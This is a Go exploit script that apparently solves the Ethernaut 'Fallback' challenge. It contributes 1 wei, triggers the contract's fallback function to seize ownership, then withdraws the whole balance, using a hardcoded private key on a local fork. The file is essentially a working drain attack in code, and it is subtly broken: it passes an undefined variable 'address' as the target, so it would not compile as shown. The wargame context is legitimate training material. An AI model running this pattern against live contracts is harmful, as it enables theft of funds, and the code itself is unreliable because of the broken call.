1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
| package main
import (
"context"
"crypto/ecdsa"
"flag"
"fmt"
"log"
"math/big"
store "ethernaut-golang/ethernautChallenges/1-Fallback"
"github.com/ethereum/go-ethereum/accounts/abi/bind"
"github.com/ethereum/go-ethereum/common"
"github.com/ethereum/go-ethereum/core/types"
"github.com/ethereum/go-ethereum/crypto"
"github.com/ethereum/go-ethereum/ethclient"
)
var fork bool
func main() {
var blockchainURL, contractAddress, privateKey string
flag.BoolVar(&fork, "fork", true, "Should we use the parameter for the fork blockchain ? (default: true)")
flag.Parse()
contractAddress = "0xbc81037C99ECAabf115405b76AE630AB2e753EfA"
if fork {
blockchainURL = "http://127.0.0.1:8545"
privateKey = "ac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80"
} else {
blockchainURL = "https://eth-rinkeby.alchemyapi.io/v2/<API-KEY>"
privateKey = "<private key>"
}
// Connect to the node
client, err := ethclient.Dial(blockchainURL)
if err != nil {
log.Fatal(err)
}
// Contract
contractAddressHash := common.HexToAddress(contractAddress)
instance, err := store.NewFallback(contractAddressHash, client)
if err != nil {
log.Fatal(err)
}
// Get the owner of the contract
owner, _ := instance.Owner(nil)
fmt.Println("owner:", owner)
fmt.Println("1. Call contribute with 1 wei")
auth := newTransactor(client, privateKey)
// Update auth to send 1 wei
auth.Value = big.NewInt(1) // in wei
_, err = instance.Contribute(auth)
if err != nil {
log.Fatal(err)
}
fmt.Println("2. Trigger the fallback function")
signedTx := transactionFallback(client, privateKey, address)
fmt.Printf("tx fallback: %s\n", signedTx.Hash())
err = client.SendTransaction(context.Background(), signedTx)
if err != nil {
log.Fatal("SendTx: " + err.Error())
}
// Wait for the transaction to be mined and process by the blockchain
bind.WaitMined(context.Background(), client, signedTx)
fmt.Println("tx confirmed")
// Check the owner
owner, _ = instance.Owner(nil)
fmt.Println("owner:", owner)
fmt.Println("3. Withdraw everything")
auth = newTransactor(client, privateKey)
_, err = instance.Withdraw(auth)
if err != nil {
log.Fatal(err)
}
}
// newTransactor creates a transaction signer based on the provided private key
func newTransactor(client *ethclient.Client, privateKeyStr string) *bind.TransactOpts {
privateKey, err := crypto.HexToECDSA(privateKeyStr)
if err != nil {
log.Fatal(err)
}
publicKey := privateKey.Public()
publicKeyECDSA, ok := publicKey.(*ecdsa.PublicKey)
if !ok {
log.Fatal("cannot assert type: publicKey is not of type *ecdsa.PublicKey")
}
fromAddress := crypto.PubkeyToAddress(*publicKeyECDSA)
nonce, err := client.PendingNonceAt(context.Background(), fromAddress)
if err != nil {
log.Fatal(err)
}
gasPrice, err := client.SuggestGasPrice(context.Background())
if err != nil {
log.Fatal(err)
}
//fmt.Println("gasPrice:", gasPrice)
//fmt.Println("nonce:", nonce)
auth := bind.NewKeyedTransactor(privateKey)
auth.Nonce = big.NewInt(int64(nonce))
auth.Value = big.NewInt(0) // in wei
auth.GasLimit = uint64(2000000) // in units
auth.GasPrice = gasPrice
return auth
}
// transactionFallback creates a transaction to call the fallback function of the toAddress contract
func transactionFallback(client *ethclient.Client, privateKeyStr string, toAddress common.Address) *types.Transaction {
privateKey, err := crypto.HexToECDSA(privateKeyStr)
if err != nil {
log.Fatal(err)
}
publicKey := privateKey.Public()
publicKeyECDSA, ok := publicKey.(*ecdsa.PublicKey)
if !ok {
log.Fatal("cannot assert type: publicKey is not of type *ecdsa.PublicKey")
}
fromAddress := crypto.PubkeyToAddress(*publicKeyECDSA)
nonce, err := client.PendingNonceAt(context.Background(), fromAddress)
if err != nil {
log.Fatal(err)
}
gasPrice, err := client.SuggestGasPrice(context.Background())
if err != nil {
log.Fatal(err)
}
var data []byte
//tx := types.NewTransaction(nonce, toAddress, big.NewInt(5), uint64(2000000), gasPrice, data)
var txData types.LegacyTx
txData.Data = data
txData.Nonce = nonce
txData.To = &toAddress
txData.Value = big.NewInt(5)
txData.Gas = uint64(2000000)
txData.GasPrice = gasPrice
tx := types.NewTx(&txData)
// Cannot get the networkID of the fork
var chainID *big.Int
if fork {
chainID = big.NewInt(1)
} else {
chainID, err = client.NetworkID(context.Background())
if err != nil {
log.Fatal("networkID: " + err.Error())
}
}
signedTx, err := types.SignTx(tx, types.NewEIP155Signer(chainID), privateKey)
if err != nil {
log.Fatal(err)
}
return signedTx
}
|